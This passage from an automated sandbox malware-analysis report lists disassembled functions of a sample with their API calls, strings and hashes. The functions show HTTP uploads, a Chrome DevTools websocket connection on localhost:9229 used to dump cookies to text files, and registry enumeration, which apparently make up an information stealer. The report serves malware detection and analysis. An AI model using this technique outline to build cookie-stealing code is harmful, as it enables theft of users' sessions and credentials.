Fs, xrefs: 00419E91

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: Fs$NtQueryInformationProcess
API String ID: 2238633743-1241331114
Opcode ID: edf66d35e3c25c46ff42be0291b8a279c2bd212ca972e11257e66bc224b5ba57
Instruction ID: 85c76ffc39373860cb8090e471c59d53cf6ad49422061259caa86ebb7f60cad9
Opcode Fuzzy Hash: edf66d35e3c25c46ff42be0291b8a279c2bd212ca972e11257e66bc224b5ba57
Instruction Fuzzy Hash: 4DA16FB5D0A2549FC344DFA8FC889567BBBA74D301708A61BF909C3674E734AA40CF62

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00419030: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000,?,004051D4), ref: 00419050

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,008B21D0), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,008B21E0,?,008B1918,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,008B2100,00000000,?,008ACD50,00000000,?,00421B0C,00000000,?,0041541F), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT(?,00000000,00000000), ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT(?), ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT(?), ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

--, xrefs: 004052D0
------, xrefs: 00405549
", xrefs: 00405614
------, xrefs: 00405407
------, xrefs: 0040568B
", xrefs: 004054D2
", xrefs: 00405756
------, xrefs: 004052E7

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2744873387-2774362122
Opcode ID: e0c24271c525ea6c2451356fe7e027e73a7ab5c028316b9fbe3ce98d23c2d8cd
Instruction ID: 17d44de56e64bdd087ca749706e31b97a9426ac18b0a434e790be536538602ee
Opcode Fuzzy Hash: e0c24271c525ea6c2451356fe7e027e73a7ab5c028316b9fbe3ce98d23c2d8cd
Instruction Fuzzy Hash: 34321071A22118ABCB14EBA1DC65FEE7379BF54714F00419EF10662092EF387A98CF59

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,008B21D0), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,008B2140,00000000,?,008ACD50,00000000,?,00421B4C), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT(?), ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,008B21E0,?,008B1918,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

------, xrefs: 00405C5B
", xrefs: 00405E66
S`A, xrefs: 004060CA
S`A, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
------, xrefs: 00405D9C
", xrefs: 00405D25
------, xrefs: 00405AE6

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$S`A$S`A
API String ID: 1406981993-1449208648
Opcode ID: 102940e7e83723dd3c856528de222b5dbe9201b8e78c8cf4e5a3790f36d85b99
Instruction ID: 528bda5bfb4e43d7cafc1c43cb8ffcda3f2e6465d8e228b0a039cdd5195e34d5
Opcode Fuzzy Hash: 102940e7e83723dd3c856528de222b5dbe9201b8e78c8cf4e5a3790f36d85b99
Instruction Fuzzy Hash: 1412FC71925128ABCB14EBA1DCA5FEEB379BF14714F00419EF10662091EF783B98CB59

Function 00409BE0 Relevance: 35.1, APIs: 15, Strings: 5, Instructions: 141
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00409A50: InternetOpenA.WININET(00420AF6,00000001,00000000,00000000,00000000), ref: 00409A6A

memset.MSVCRT ref: 00409C33
lstrcatA.KERNEL32(?,ws://localhost:9229), ref: 00409C48
lstrcatA.KERNEL32(?,00000000), ref: 00409C5E
connect_to_websocket.CHROME(?,00000000), ref: 00409C76
memset.MSVCRT ref: 00409C9A
lstrcatA.KERNEL32(?,cookies), ref: 00409CAF
lstrcatA.KERNEL32(?,004212C4), ref: 00409CC1
lstrcatA.KERNEL32(?,?), ref: 00409CD5
lstrcatA.KERNEL32(?,004212C8), ref: 00409CE7
lstrcatA.KERNEL32(?,?), ref: 00409CFB
lstrcatA.KERNEL32(?,.txt), ref: 00409D0D
lstrlenA.KERNEL32(00000000), ref: 00409D17
lstrlenA.KERNEL32(00000000), ref: 00409D26

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

memset.MSVCRT ref: 00409D7E
free_result.CHROME(00000000), ref: 00409D8B

Strings

.txt, xrefs: 00409D01
cookies, xrefs: 00409CA3
localhost, xrefs: 00409BF5
/devtools, xrefs: 00409C0B
ws://localhost:9229, xrefs: 00409C3C

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$lstrlen$InternetOpenconnect_to_websocketfree_resultlstrcpy
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 2548846003-3542011879
Opcode ID: 2a2a0bfad9d6f0a62900d143f52b5854aa4a984dba16fdf4789055d73ae33ee5
Instruction ID: dd0e0b2e904cac6dcb4644251d8498bdcd69e700431b121c7f08c254ac6fdba9
Opcode Fuzzy Hash: 2a2a0bfad9d6f0a62900d143f52b5854aa4a984dba16fdf4789055d73ae33ee5
Instruction Fuzzy Hash: 97517E71D10518ABCB14EBE0EC55FEE7738AF14306F40456AF106A70D1EB78AA48CF69

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,008B21D0), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDE,00000000,?,?,00000000,?,",00000000,?,008B20D0), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,008B21E0,?,008B1918,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

", xrefs: 00404D83
------, xrefs: 00404B78
------, xrefs: 00404A0D
------, xrefs: 00404CB9
", xrefs: 00404C42

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 56228f8458e56deeebf3562055910df4e9bbe5b91096208b63b71e4d3b1fb747
Instruction ID: 9047d27655e640063cf5e546897bb6ee72beef818384a457e6eae52f2661673c
Opcode Fuzzy Hash: 56228f8458e56deeebf3562055910df4e9bbe5b91096208b63b71e4d3b1fb747
Instruction Fuzzy Hash: 41121072A121189ACB14EB91DD66FEEB379AF14314F50419EF10662091EF383F98CF69

Function 004062D0 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,008B21D0), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,008B1918,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

FUA, xrefs: 004062E0, 0040656D, 0040652E, 0040646C, 004062E3
ERROR, xrefs: 00406457
ERROR, xrefs: 00406519
GET, xrefs: 004063CC

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$FUA$GET
API String ID: 3074848878-1334267432
Opcode ID: 39b68ef679af7c7b7fd2282b6e4a9f07771bc6a71b9e5fe7a8774ba97dcc97d0
Instruction ID: e13f8b4f5a4983f25bfc964ce73e77e76ffbf3c7ad5d81db2c216f4c68459c1c
Opcode Fuzzy Hash: 39b68ef679af7c7b7fd2282b6e4a9f07771bc6a71b9e5fe7a8774ba97dcc97d0
Instruction Fuzzy Hash: 33718171A00218ABDB14DF90DC59FEEB775AF44304F1081AAF6067B1D4DBB86A84CF59

Function 004184B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

RegOpenKeyExA.KERNEL32(00000000,008AE140,00000000,00020019,00000000,004205BE), ref: 00418534
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
wsprintfA.USER32 ref: 004185E9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
RegCloseKey.ADVAPI32(00000000), ref: 0041861C
RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Strings

?, xrefs: 0041850A
- , xrefs: 00418733
%s\%s, xrefs: 004185DD

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: f5f242a9c02bcb607d70f830b1aae7ef6c06d7233355d748f6e32221159d0db5
Instruction ID: c228fa157c9b2873a9233ab8a396ad333d8a8ae6667b392d6015aff843962e7d
Opcode Fuzzy Hash: f5f242a9c02bcb607d70f830b1aae7ef6c06d7233355d748f6e32221159d0db5
Instruction Fuzzy Hash: 47812D71911118ABDB24DB50DD95FEAB7B9BF08314F1082DEE10966180DF746BC8CFA9

Function 00415760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,008A8FB0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415894
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004158F1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415AA7

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00415440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415478

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00415510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415568
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 0041557F
Part of subcall function 00415510: StrStrA.SHLWAPI(00000000,00000000), ref: 004155B4
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 004155D3
Part of subcall function 00415510: strtok.MSVCRT(00000000,?), ref: 004155EE
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 004155FE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004159DB
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415B90
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415C5C
Sleep.KERNEL32(0000EA60), ref: 00415C6B

Strings

ERROR, xrefs: 00415B82
ERROR, xrefs: 00415A99
ERROR, xrefs: 004159CD
ERROR, xrefs: 00415886
ERROR, xrefs: 00415C4E
ERROR, xrefs: 004158E3

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

